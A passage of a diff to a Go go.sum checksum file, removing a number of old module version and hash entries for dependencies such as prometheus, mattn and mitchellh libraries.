h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -988,7 +288,6 @@ github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -997,15 +296,9 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= -github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -1013,15 +306,11 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -1030,9 +319,6 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -1040,57 +326,40 @@ github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3v github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= -github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= -github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -1117,8 +386,6 @@ github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -1129,11 +396,6 @@ github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvI github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= -github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -1142,15 +404,11 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -1158,12 +416,9 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= -github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -1171,7 +426,6 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -1182,14 +436,12 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= -github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -1200,15 +452,9 @@ github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThC github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= -github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -1246,15 +492,12 @@ github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoH github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 